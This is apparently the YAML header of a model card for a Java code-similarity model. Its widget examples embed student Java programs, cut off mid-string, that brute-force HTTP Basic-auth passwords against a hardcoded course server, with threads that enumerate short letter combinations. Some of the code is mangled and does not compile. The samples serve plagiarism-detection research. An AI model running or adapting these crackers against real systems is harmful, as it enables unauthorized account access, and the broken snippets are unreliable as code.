buelfhood/SOCO-Java-UniXcoder-ST
033
1---2tags:3- sentence-transformers4- sentence-similarity5- feature-extraction6- generated_from_trainer7- dataset_size:334118- loss:BatchAllTripletLoss9base_model: microsoft/unixcoder-base-unimodal10widget:11- source_sentence: "\npackage java.httputils;\n\nimport java.util.ArrayList;\nimport\12 \ java.util.Collection;\nimport java.util.Iterator;\nimport java.util.Observable;\n\13 import java.util.Observer;\n\n\npublic class BruteForceThreadPool extends ThreadGroup\14 \ implements Observer\n{\n protected String URL = \"http://localhost:8080/secret/index.html\"\15 ;\n protected int poolSize = 6;\n\n protected Collection threadList = new\16 \ ArrayList();\n protected String fileName = \"BruteForceReport.txt\";\n \17 \ protected boolean finished = false;\n protected String userName = \"\";\n\18 \ \n public BruteForceThreadPool(String name)\n {\n super(name);\n\19 \ }\n\n \n public BruteForceThreadPool(ThreadGroup parent, String name)\n\20 \ {\n super(parent, name);\n }\n\n \n public synchronized void\21 \ update(Observable o, Object arg)\n {\n \n System.out.println(\"\22 Update method called the observer.\");\n RunnableBruteForce rbf = (RunnableBruteForce)\23 \ o;\n rbf.createReport();\n\n \n \n for (Iterator\24 \ iter = threadList.iterator(); iter.hasNext();)\n {\n RunnableBruteForce\25 \ target = (RunnableBruteForce) iter.next();\n target.setStop(true);\n\26 \ }\n finished = true;\n }\n\n\n \n protected void start(int\27 \ threads)\n {\n \n \n int load = BruteForce.letters.length\28 \ / threads;\n int remainder = BruteForce.letters.length % threads;\n\n\29 \ \n for (int i = 0, end = ( + load);\n end < BruteForce.letters.length;\n\30 \ i = end, end += load)\n {\n RunnableBruteForce\31 \ runnable = new RunnableBruteForce();\n runnable.setURL(getURL());\n\32 \ runnable.setRangeStart();\n runnable.setUserName(userName);\n\33 \ \n runnable.setRangeEnd(\n end + load >\34 \ BruteForce.letters.length ?\n BruteForce.letters.length :\n \35 \ end);\n\n runnable.addObserver(this);\n \36 \ runnable.setFileName(getFileName());\n \n threadList.add(runnable);\n\37 \ }\n\n \n for (Iterator iter = threadList.iterator(); iter.hasNext();)\n\38 \ {\n RunnableBruteForce target = (RunnableBruteForce) iter.next();\n\39 \ new Thread(target).start();\n }\n\n }\n\n public static\40 \ void main(String[] args)\n {\n BruteForceThreadPool pool = new BruteForceThreadPool(\"\41 BruteForceThreadGroup\");\n\n if (args.length < 4)\n {\n \42 \ pool.printUsage();\n return;\n }\n pool.setURL(args[0]);\n\43 \ pool.userName = args[1];\n pool.setFileName(args[2]);\n\n \44 \ pool.get(Integer.parseInt(args[3]));\n while (true)\n {\n \45 \ try\n {\n Thread.currentThread().sleep(100);\n\46 \ if (pool.finished)\n {\n break;\n\47 \ }\n }\n catch (InterruptedException e)\n\48 \ {\n e.printStackTrace();\n }\n }\n\49 \n System.exit(0);\n }\n\n\n public String printUsage()\n {\n\50 \ StringBuffer s = new StringBuffer();\n\n s.append(\"** BruteForceThreadPool\51 \ proper usage **\\n\\n\");\n s.append(\n \"java ..httputils.BruteForceThreadPool\52 \ <URL> <UserName> <OutputFile> < Of Threads = 6>\\n\\n\");\n\n return\53 \ s.toString();\n }\n\n \n public Collection getThreadList()\n {\n\54 \ return threadList;\n }\n\n \n public void setThreadList(Collection\55 \ collection)\n {\n threadList = collection;\n }\n\n\n \n public\56 \ String getFileName()\n {\n return fileName;\n }\n\n \n public\57 \ void setFileName(String string)\n {\n fileName = string;\n }\n\n\58 \ \n public String getURL()\n {\n return URL;\n }\n\n \n\59 \ public void setURL(String string)\n {\n URL = string;\n }\n\n\60 \ \n public int getPoolSize()\n {\n return poolSize;\n }\n\n\61 \ \n public void setPoolSize(int i)\n {\n poolSize = i;\n }\n\62 \n}\n"63 sentences:64 - "\n\nimport java.net.*;\nimport java.io.IOException;\nimport java.util.*;\nimport\65 \ java.io.*;\npublic class BruteForce {\n \n \n \n String passwordLetters[]\66 \ ={\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"\67 m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\68 z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\69 M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"\70 Z\"};\n String password=\" \";\n static int counter;\n static int noOfAttempts;\n\71 \ static String userName=\"\";\n HttpURLConnection u;\n boolean threadF,threadM;\n\72 \ String passBase64;\n \n PasswordCrackThreadF passwordCrackThreadF;\n PasswordCrackThreadM\73 \ passwordCrackThreadM;\n URL url;\n \n \n public BruteForce() {\n breakPassword();\n\74 \ }\n\n public static void main (String args[]) {\n new BruteForce();\n\75 \ }\n \n \n \n private void breakPassword() {\n int j;\n \n breakOneLetterPassword();\n\76 \ \n breakTwoLetterPassword();\n \n \n \n\n passwordCrackThreadF\77 \ = new PasswordCrackThreadF(0,26,counter++,passwordLetters,userName,this);\n\78 \ \n passwordCrackThreadM = new PasswordCrackThreadM(26,52,counter++,passwordLetters,userName,this);\n\79 \ \n passwordCrackThreadF.print();\n passwordCrackThreadM.print();\n\80 \ }\n \n \n private void breakOneLetterPassword() { \n MyHttpURLConnection\81 \ httpURLConnection;\n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\82 );\n\t \n\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\83 \ u = (HttpURLConnection)url.openConnection();\n\t u.setRequestProperty(\"\84 Authorization\", \" \" + passBase64);\n } catch (IOException io) {io.printStackTrace();}\n\85 \ \n loop: for (int i=0;i<52;i++) {\n password\86 \ = passwordLetters[i];\n\t\t \n\t\t password =\":\"+ password;\n \87 \ try {\n \n\t \t u= (HttpURLConnection)url.openConnection();\n\88 \t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\89 \ u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\90 \t\t u.connect();\t\n\t\t noOfAttempts++; \n\t\t if (u.getContentLength()\91 \ != 0) {\n\t\t \n\t\t if (u.getResponseCode()== HttpURLConnection.HTTP_OK\92 \ ) {\n\t\t \n\t System.out.println (\"Your User\93 \ Name : Password is \"+password);\n\t\t\t\t System.out.println(\" \");\n\t\94 \t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\95 \t\t\t \n\t\t\t System.exit(0);\n \n\t \96 \ }\n\t\t }\n\t\t } catch (ProtocolException px) {px.printStackTrace();\n\97 \ \n } catch ( NoRouteToHostException nr)\98 \ {nr.printStackTrace();\n\t } catch (BindException e){e.printStackTrace();\n\99 \t } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t\100 \ } catch (IOException io) {io.printStackTrace();\n\t\t \n\t \101 \ } finally {u.disconnect();\n\t }\n } \n }\n \n \102 \ \n private void breakTwoLetterPassword() { \n MyHttpURLConnection \103 \ httpURLConnection; \n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\104 );\n\t \n\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\105 \ u = (HttpURLConnection)url.openConnection();\n\t u.setRequestProperty(\"\106 Authorization\", \" \" + passBase64);\n } catch (IOException io) {io.printStackTrace();}\n\107 \n \n loop: for (int i=0;i<52;i++) {\n for (int j=0;j<52;j++)\108 \ {\n password = passwordLetters[i]+passwordLetters[j];\n\t\t\109 \ \n\t\t password =\":\"+ password;\n\t\t \n\t\t \n\t \n \110 \ try {\n\t\t u= (HttpURLConnection)url.openConnection();\n\111 \t\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\112 \ u.setRequestProperty(\"Authorization\", \"\113 \ \" + passBase64);\n\t\t\tu.connect();\n\t\t\tnoOfAttempts++;\n\t\t\t\n \114 \ \t if (u.getContentLength() != 0) {\n\t\t if (u.getResponseCode()==\115 \ HttpURLConnection.HTTP_OK ) {\n\t System.out.println\116 \ (\"Your User Name : Password is \"+password); \n\t\t\t System.out.println(\"\117 \ \");\n\t\t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\118 \t\t\t \n\t\t\t System.exit(0);\n\t }\n\t\t }\n\119 \t\t \n\t\t\n\t } catch (ProtocolException px) {px.printStackTrace();\n\120 \ } catch ( NoRouteToHostException nr) {nr.printStackTrace();\n\121 \t } catch (BindException e){e.printStackTrace();\n\t } catch\122 \ (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t } catch\123 \ (IOException io) {io.printStackTrace();\n\t\t \n\t } finally {u.disconnect();\n\124 \t }\n } \n }\n\n\n }\n}\n\nclass PasswordCrackThreadF\125 \ extends Thread {\n \n \n \n private String passwordLetters[] ;\n \126 \ private String password=\" \";\n private static String userName=\"\";\n\127 \ private MyHttpURLConnection httpURLConnection;\n private URL url;\n\128 \ \n BruteForce bruteForce;\n int count; \n String passBase64;\n \129 \ private HttpURLConnection u;\n \n int start,stop;\n \n static boolean\130 \ found;\n \n PasswordCrackThreadF(int start,int stop,int counter,String[]\n\131 \ passwordLetters,String userName,BruteForce\132 \ bruteForce) {\n this.start = start;\n this.stop = stop;\n \133 \ this.passwordLetters =passwordLetters;\n this.userName=userName;\n \134 \ count =counter;\n this.bruteForce=bruteForce; \n bruteForce.threadF=true;\n\135 \t\n \n passBase64 = new bruteForce.misc.BASE64Encoder().encode(password.getBytes());\n\136 \ try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\137 );\n\t \n\n\t u = (HttpURLConnection)url.openConnection();\n \138 \ \n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\139 \ \n\n } catch (IOException io) {io.printStackTrace();}\n\n }\n \n\140 \ public synchronized void run() {\n \n outer : for (int i=0; i<stop;i++)\141 \ {\n for (int j=0;j<52;j++) {\n for (int\142 \ k=0;k<52;k++) {\n password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];\n\143 \ \t password =\":\"+ password;\n\t\t\t \n\t\t\t\n\t\t\t\n\t\144 \t\t while (!(bruteForce.threadF)) {\n\t\t\t try { wait(1); }\n\t\t\t \145 \ catch (InterruptedException e){}\n\t\t\t } \n\t\t\t \n\t\t\t if (found)\n\146 \t\t\t System.exit(0);\n try { \n\t\t\t \147 \ u = (HttpURLConnection)url.openConnection();\n\t\t\t passBase64 = new\148 \ url.misc.BASE64Encoder().encode(password.getBytes());\n \149 \ u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t\150 \t \n\n\t\t\t\n u.connect();\n\t\t\t\t\n\151 \t\t BruteForce.noOfAttempts++;\n\n\t\t if (u.getContentLength()\152 \ != 0) {\n\n\t\t if (u.getResponseCode() == HttpURLConnection.HTTP_OK\153 \ ) {\n\t\t\t\t found=true;\n\t\t\t\t \n\t\t\t\t \n\t\t\t\t\t\n\t\t\t\t\154 \t \n\t\t\t\t\t\n\t\t System.out.println (\"Your User\155 \ Name : Password is \"+password+ \n\t\t \" \156 \ \"+ \" Found by Thread \"+count);\n\t\t\t\t\tSystem.out.println(\" \");\n\157 \t\t\t System.out.println(\" of Attempts / Requests \"+ BruteForce.noOfAttempts);\n\158 \t\t\t\t \t \n \t\t System.exit(0);\n\n\t \159 \ }\n\t\t }\n\t\t \n\t\t \t\t \n\t \160 \ } catch (ProtocolException px) {px.printStackTrace();\n \161 \ } catch ( NoRouteToHostException nr){k--; \n\t\t\t nr.printStackTrace();\n\162 \ } catch (BindException e){e.printStackTrace();\n\t \163 \ } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\164 \t } catch (IOException io) {io.printStackTrace();\n\t\t\t \n\165 \t } finally {u.disconnect();\n\t }\n\t\t\t bruteForce.threadF=false;\n\166 \t\t\t bruteForce.threadM=true;\n\t\t\t\n\t\t\t notifyAll();\n\t\t\t\n \167 \ }\n\t\t \n }\n System.out.println(\"End\");\n }\n }\n\168 }\n\n\nclass PasswordCrackThreadM extends Thread {\n \n \n \n private\169 \ String passwordLetters[] ;\n private String password=\" \";\n private static\170 \ String userName=\"\";\n private MyHttpURLConnection httpURLConnection;\n\171 \ private URL url;\n String passBase64;\n private URLAuthenticator urlAuthenticator\172 \ = new URLAuthenticator(userName);\n BruteForce bruteForce;\n int count;\173 \ \n private HttpURLConnection u;\n \n int start,stop;\n \n static\174 \ boolean found;\n \n \n \n PasswordCrackThreadM(int start,int stop,int\175 \ counter,String[]\n passwordLetters,String\176 \ userName,BruteForce bruteForce) {\n this.start = start;\n this.stop\177 \ = stop;\n this.passwordLetters =passwordLetters;\n this.userName=userName;\n\178 \ count =counter;\n this.bruteForce=bruteForce; \n try {\n\t\179 \ \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\180 );\n\t \n u = (HttpURLConnection)url.openConnection();\n\t \181 \ passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n \182 \ \n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\183 \n\t \n\n\t \n\t \n\n } catch (IOException io) {io.printStackTrace();}\n\184 \n }\n \n public synchronized void run() {\n \n outer : for (int\185 \ i=0; i<stop;i++) {\n for (int j=0;j<52;j++) {\n \186 \ for (int k=0;k<52;k++) {\n password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];\n\187 \ \t password=\":\"+password;\n\t\t\t\n\t \n\188 \t\t\t\n\t\t\t\n\t\t\t while (!(bruteForce.threadM)) {\n\t\t\t try { wait(1);\189 \ }\n\t\t\t catch (InterruptedException e){}\n\t\t\t }\n\t\t\t \n\t\190 \t\t \n\t\t\t if (found)\n\t\t\t System.exit(0);\n \191 \ try { u = (HttpURLConnection)url.openConnection();\n\t\t\t \n \192 \ passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n\193 \ u.setRequestProperty(\"Authorization\", \"\194 \ \" + passBase64);\n\t\t\t \n\n\t\t\t\n \195 \ u.connect();\n BruteForce.noOfAttempts++;\n\196 \t\t \n\t\t if (u.getContentLength() != 0) {\n\t\197 \t\t \n\t\t if (u.getResponseCode() == HttpURLConnection.HTTP_OK\198 \ ) {\n\t\t\t\t found=true;\n\t\t\t\t \n\t\t\t\t \n\t\t\t\t\t\n\t\199 \t\t\t\t \n\t\t\t\t\t\n\t\t System.out.println (\"Your\200 \ User Name : Password is \"+password+ \n\t\t \201 \ \" \"+ \" Found by Thread \"+count);\n\t\t\t\t \t \n\t\t\t\t\t \n\t\202 \t\t\t\tSystem.out.println(\" \");\n\t\t\t System.out.println(\"\203 \ of Attempts / Requests \"+ BruteForce.noOfAttempts);\n \t\t \204 \ System.exit(0);\n\n\t }\n\t\t \205 \ }\n\t\t \n\t\t \t\t \n\t } catch (ProtocolException\206 \ px) {px.printStackTrace();\n } catch ( NoRouteToHostException\207 \ nr){k--; \n\t\t\t nr.printStackTrace();\n } catch\208 \ (BindException e){e.printStackTrace();\n\t } catch (IndexOutOfBoundsException\209 \ e3){e3.printStackTrace();\n\t } catch (IOException io) {io.printStackTrace();\n\210 \t\t\t \n\t } finally {u.disconnect();\n\t }\n\211 \t\t\t bruteForce.threadF=true;\n\n\t\t\t \n\t\t\t bruteForce.threadM=false;\n\212 \t\t\t\n\t\t\t notifyAll();\n\t\t\t\n }\n\t\t \n }\n\213 \ System.out.println(\"End\");\n }\n }\n}\n\n\n\n\n\n\n\nclass URLAuthenticator\214 \ extends Authenticator {\n private String uName;\n String passwd;\n static\215 \ char[] password;\n public URLAuthenticator(String uName) {\n\n this.uName\216 \ = uName;\n }\n\n public void setPassword(String passwd) {\n\n\t this.passwd=passwd;\n\217 \t password=passwd.toCharArray();\n\n }\n \n public PasswordAuthentication\218 \ getPasswordAuthentication() {\n\n\t\n \t\n\t\n\treturn new PasswordAuthentication(uName,password);\n\219 \ }\n\n}\n\n\n\n\n \n\nclass MyHttpURLConnection extends HttpURLConnection \220 \ {\n public MyHttpURLConnection(URL url) {\n super(url);\n }\n \221 \ public void disconnect() {\n }\n\n public boolean usingProxy() {\n \222 \ return true;\n }\n public void connect() {\n }\n\n}\n\n"223 - "\nimport java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\n\224 \n\n\npublic class BruteForce \n{\n \n \n\225 \ \n private int consonantUpperBound = CrackingConstants.consonantUpperBound;\n\226 \ private int consonantLowerBound = CrackingConstants.consonantLowerBound;\n\227 \ private int vowelUpperBound = CrackingConstants.vowelUpperBound;\n private\228 \ int vowelLowerBound = CrackingConstants.vowelLowerBound;\n \n \n \n\229 \ \n private int verbose = CrackingConstants.quietMode;\n private int\230 \ scanType = CrackingConstants.casedScan;\n\n private int passwordsTried =\231 \ 0;\n \n\t\n\t\n\tpublic static void main(String args[])\n\t{\n\t\t int tStart;\n\232 \t\t int tFinish;\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL,\233 \ DateFormat.FULL);\n\t \n\t BruteForce pwForcer = new BruteForce();\n\234 \n\t if(args.length > 0)\n\t {\n\t for(int i = 0; i < args.length;\235 \ i++)\n\t {\n \t\tif((args[i].indexOf(\"-h\") > -1) || (args[i].indexOf(\"\236 -H\") > -1))\n \t\t {\n \t\t\tSystem.out.println(\"\\n-s -S\\\237 tonly tests lower passwords.\");\n \t\t\tSystem.out.println(\"\\n-v\\\238 tprints the patterns as tried.\");\n \t\t\tSystem.out.println(\"-V\\\239 tprints out the patterns and the passwords as generated. \\n\\tThis option\240 \ slows the program considerably.\\n\");\n \t\t\treturn;\n \t\t\241 \ }\t\n \t\telse if(args[i].indexOf(\"-v\") > -1) \n \t\t \242 \ pwForcer.verbose = CrackingConstants.verboseMode1;\n \t\telse if(args[i].indexOf(\"\243 -V\") > -1)\n \t\t pwForcer.verbose = CrackingConstants.verboseMode2;\n\244 \ \t\telse if((args[i].indexOf(\"-s\") > -1) || (args[i].indexOf(\"-S\"\245 ) > -1))\n \t\t pwForcer.scanType = CrackingConstants.simpleScan;\n\t\246 \t }\n\t }\n\n \n\t System.out.println(\"\\n\\n********************************\\\247 n\");\n\t\tSystem.out.println(\"Starting brute force run at \" + \n\t\t longTimestamp.format(new\248 \ Date()));\n\t\tif(args.length > 0)\n\t\t{\n\t\t\tString arguments = \"\";\n\t\249 \t\tfor( i =0; i < args.length; i++)\n\t\t\t\targuments += args[i] + \" \";\n\t\250 \t\tSystem.out.println(\"\\nOptions: \" + arguments + \"\\n\");\n\t\t}\n\t\tif(pwForcer.scanType\251 \ == CrackingConstants.simpleScan)\n \t System.out.println(\"Only lower\252 \ passwords tried.\");\n \telse\n \t System.out.println(\"Both lower\253 \ and upper passwords tried.\");\n\t System.out.println(\"\\n********************************\\\254 n\");\n\n\t tStart = System.currentTimeMillis();\n\t pwForcer.run();\n\t\255 \ tFinish = System.currentTimeMillis();\n\t \n if (pwForcer.scanType\256 \ == CrackingConstants.casedScan)\n {\n\t \n \t \n\t \257 \ \n\t \n\t System.out.println (\"\\n\\n\" + pwForcer.passwordsTried\258 \ + \" passwords were generated (out of a possible \" + (26 * 26 * 26 * 8) + \"\259 )\");\n\t System.out.println (\"That is \" + pwForcer.passwordsTried/8\260 \ + \" unique three letter combinations were tried (out of a possible \" + (26\261 \ * 26 * 26) + \")\");\n }\n else\n {\n \t System.out.println\262 \ (\"\\n\\n\" + pwForcer.passwordsTried + \" passwords were generated (out of\263 \ a possible \" + (26 * 26 * 26) + \")\\n\");\n }\n \n\t \n\t\264 \ System.out.println(\"\\n********************************\\n\");\n\t\tSystem.out.println(\"\265 Finished brute force run at \" + \n\t\t longTimestamp.format(new Date()));\n\266 \t\tSystem.out.println(\"Time taken: \" + ((tFinish - tStart)/1000) + \" seconds\"\267 );\n\t System.out.println(\"\\n********************************\");\n\t} \268 \ \n\n\t\n public BruteForce()\n {\n } \n\n\t\n private void run()\n\269 \ {\n \n \n leftIndex = 0;\n midIndex = 0;\n\270 \ rightIndex = 0;\n \n \n\t\t\n \n \tif(verbose\271 \ > CrackingConstants.quietMode)\n \t System.out.println(\"Trying stutters\272 \ (AAA, aaa, etc.)\");\n for( i = vowelLowerBound; i <= consonantUpperBound;\273 \ i++)\n {\n leftIndex = i;\n midIndex = i;\n \274 \ rightIndex = i;\n if(tryLogin(leftIndex, midIndex, rightIndex))\n\275 \ return;\n }\n \n \n \tif(verbose >\276 \ CrackingConstants.quietMode)\n \t System.out.println(\"Trying consonant-vowel-consonant\277 \ patterns.\");\n for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound;\278 \ leftIndex++)\n for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound;\279 \ midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex\280 \ <= consonantUpperBound; rightIndex++)\n if(tryLogin(leftIndex,\281 \ midIndex, rightIndex))\n return;\n \n \282 \ \n \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"\283 Trying consonant-vowel-vowel patterns.\");\n for(leftIndex = consonantLowerBound;\284 \ leftIndex <= consonantUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound;\285 \ midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex =\286 \ vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)\n \287 \ if(tryLogin(leftIndex, midIndex, rightIndex))\n \288 \ return;\n \n \n \tif(verbose > CrackingConstants.quietMode)\n\289 \ \t System.out.println(\"Trying vowel-consonant-vowel patterns.\");\n \290 \ for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)\n\291 \ for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\292 \ midIndex++)\n for (rightIndex = vowelLowerBound; rightIndex <=\293 \ vowelUpperBound; rightIndex++)\n if(tryLogin(leftIndex, midIndex,\294 \ rightIndex))\n return;\n \n \n \tif(verbose\295 \ > CrackingConstants.quietMode)\n \t System.out.println(\"Trying vowel-consonant-consonant\296 \ patterns.\");\n for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound;\297 \ leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\298 \ midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex\299 \ <= consonantUpperBound; rightIndex++)\n if(tryLogin(leftIndex,\300 \ midIndex, rightIndex))\n return;\n \n \n \301 \ \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"\302 Trying vowel-vowel-consonant patterns.\");\n for(leftIndex = vowelLowerBound;\303 \ leftIndex <= vowelUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound;\304 \ midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex =\305 \ consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)\n \306 \ if(tryLogin(leftIndex, midIndex, rightIndex))\n \307 \ return;\n \n \n \tif(verbose > CrackingConstants.quietMode)\n\308 \ \t System.out.println(\"Trying consonant-consonant-vowel patterns.\");\n\309 \ for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound;\310 \ leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\311 \ midIndex++)\n for (rightIndex = vowelLowerBound; rightIndex <=\312 \ vowelUpperBound; rightIndex++)\n if(tryLogin(leftIndex, midIndex,\313 \ rightIndex))\n return;\n \n \n \t\314 if(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying\315 \ remaining vowel-vowel-vowel patterns.\");\n for(leftIndex = vowelLowerBound;\316 \ leftIndex <= vowelUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound;\317 \ midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex =\318 \ vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)\n \319 \ if((leftIndex == midIndex) && (leftIndex == rightIndex))\n \320 \ {\n \n }\n \321 \ else\n {\n if(tryLogin(leftIndex,\322 \ midIndex, rightIndex))\n return;\n \323 \ }\n \n \n \tif(verbose > CrackingConstants.quietMode)\n\324 \ \t System.out.println(\"Trying remaining consonant-consonant-consonant\325 \ patterns.\");\n for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound;\326 \ leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound;\327 \ midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex\328 \ <= consonantUpperBound; rightIndex++)\n if((leftIndex ==\329 \ midIndex) && (leftIndex == rightIndex))\n {\n \330 \ \n }\n else\n \331 \ {\n if(tryLogin(leftIndex, midIndex, rightIndex))\n\332 \ return;\n }\n \n \t\333 if(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying\334 \ monographs (A, a, etc.)\");\n for ( i = 0; i <= consonantUpperBound;\335 \ i++)\n {\n leftIndex = i;\n midIndex = -1;\n \336 \ rightIndex = -1;\n if(tryLogin(leftIndex, midIndex, rightIndex))\n\337 \ return;\n }\n \n \n \n \tif(verbose\338 \ > CrackingConstants.quietMode)\n \t System.out.println(\"Trying bigraphs\339 \ (AA, aa, etc.)\");\n for( i = 0; i <= consonantUpperBound; i++)\n \340 \ {\n \tfor( j = 0; j <= consonantUpperBound; j++)\n \t{\n \341 \ \tleftIndex = i;\n \tmidIndex = j;\n \t rightIndex\342 \ = -1;\n \t if(tryLogin(leftIndex, midIndex, rightIndex))\n\t \343 \ return;\n }\n }\n \n return;\n \344 \ } \n\n\t\n private boolean tryLogin( int leftIndex, int midIndex, int rightIndex)\n\345 \ {\n \n LoginAttempt login = new LoginAttempt();\n LoginAttemptResults\346 \ results = new LoginAttemptResults();\n\n \n CasePasswords casedPasswords\347 \ = new CasePasswords(verbose);\n\n \n \n String tail = \"\348 \";\n\n results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex,\349 \ midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars,\350 \ scanType), passwordsTried);\n passwordsTried = results.getPasswordsTried();\n\351 \ return results.getSuccess();\n }\n \n} \n"352 - "\n\n\n\npublic class HoldSharedData\n{\n private int numOfConnections\353 \ = 0;\n private int startTime;\n private int totalTime = 0;\n \354 \ private String[] password;\n private int pwdCount;\n\n public HoldSharedData(\355 \ int time, String[] pwd, int count )\n {\n startTime = time;\n\n \356 \ password = pwd;\n pwdCount = count;\n }\n\n public int getPwdCount()\n\357 \ {\n return pwdCount;\n }\n\n public void setNumOfConnections(\358 \ )\n {\n numOfConnections ++;\n }\n\n public int getNumOfConnections()\n\359 \ {\n return numOfConnections;\n }\n\n public int getStartTime()\n\360 \ {\n return startTime;\n }\n\n public void setTotalTime( int\361 \ newTotalTime )\n {\n totalTime = newTotalTime;\n }\n\n public\362 \ int getTotalTime()\n {\n return totalTime;\n }\n\n public String\363 \ getPasswordAt( int index )\n {\n return password[index];\n }\n\364 } \n"365- source_sentence: "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport\366 \ java.util.*;\n\npublic class BruteForce {\n public static void main (String[]\367 \ args) throws IOException {\n BufferedReader stdin = new BufferedReader (new\368 \ InputStreamReader(System.in));\n\n int start = new Date().getTime();\n\369 \ String[] letters = {\"a\",\"A\",\"b\",\"B\",\"c\",\"C\",\"d\",\"D\",\"\370 e\",\"E\",\"f\",\"F\",\"g\",\"G\",\n \"h\",\"H\",\"i\"\371 ,\"I\",\"j\",\"J\",\"k\",\"K\",\"l\",\"L\",\"m\",\"M\",\"n\",\"N\",\n\t\t\t \"\372 o\",\"O\",\"p\",\"P\",\"q\",\"Q\",\"r\",\"R\",\"s\",\"S\",\"t\",\"T\",\"u\",\"\373 U\",\n\t\t\t \"v\",\"V\",\"w\",\"W\",\"x\",\"X\",\"y\",\"Y\",\"z\",\"Z\"};\n\374 \ int len = 52;\n int total = 52;\n String[] cad = new String[total];\n\375 \ int t=0;\n \n for (int i=0;i<=len-1;i++){\n\t cad[t] = letters[i];\n\376 \t t++;\n } \n for (int i=0;i<=len-1;i++){\n for (int j=0;j<=len-1;j++){\n\377 \t cad[t] = letters[j]+letters[i];\n\t t++;\n }}\n for (int i=0;i<=len-1;i++){\n\378 \ for (int j=0;j<=len-1;j++){\n for (int k=0;k<=len-1;k++){\n\t \379 \ cad[t] = letters[k]+letters[j]+letters[i];\n\t t++;\n }}}\n \380 \ \n int response = 0;\n for (t=0;t<=total-1;t++){\n String\381 \ uname = \"\";\n String userinfo = uname + \":\" + cad[t];\n try{\n\382 \ String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());\n\383 \ URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n \384 \ HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n \385 \ uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n response\386 \ = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n\387 \ }\n catch(IOException e){ System.err.println(e); e.printStackTrace();\388 \ } \n catch(IllegalStateException s){ System.err.println(s); s.printStackTrace();\389 \ }\n }\n System.out.println(\"Response \"+t+\" was \"+response);\n\390 \ System.out.println(\"The successful password was \"+cad[t]);\n \391 \ finish = new Date().getTime();\n float totaltime = (float)(finish-start)/1000;\n\392 \ System.out.println(\"Total time: \"+totaltime+\" seconds\");\n }\n}\n\393 \n"394 sentences:395 - "\n\nclass WebPage\n{\n \n \n private boolean success = false;\n \n\396 \ private String pageContents= \"\";\n \n\n\t\n public WebPage()\n \397 \ {\n }\n \n\t\n public void setSuccess (boolean inSuccess)\n {\n\398 \ success = inSuccess;\n }\n \n\t\n public boolean getSuccess()\n\399 \ {\n return success;\n }\n \n\t\n public void setPageContents\400 \ (String inPage)\n {\n pageContents = inPage;\n }\n \n\t\n \401 \ public String getPageContents()\n {\n return pageContents;\n }\n\402 } \n"403 - "\nimport java.util.*;\n\n\npublic class Cracker\n{\n private char[] letters\404 \ = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 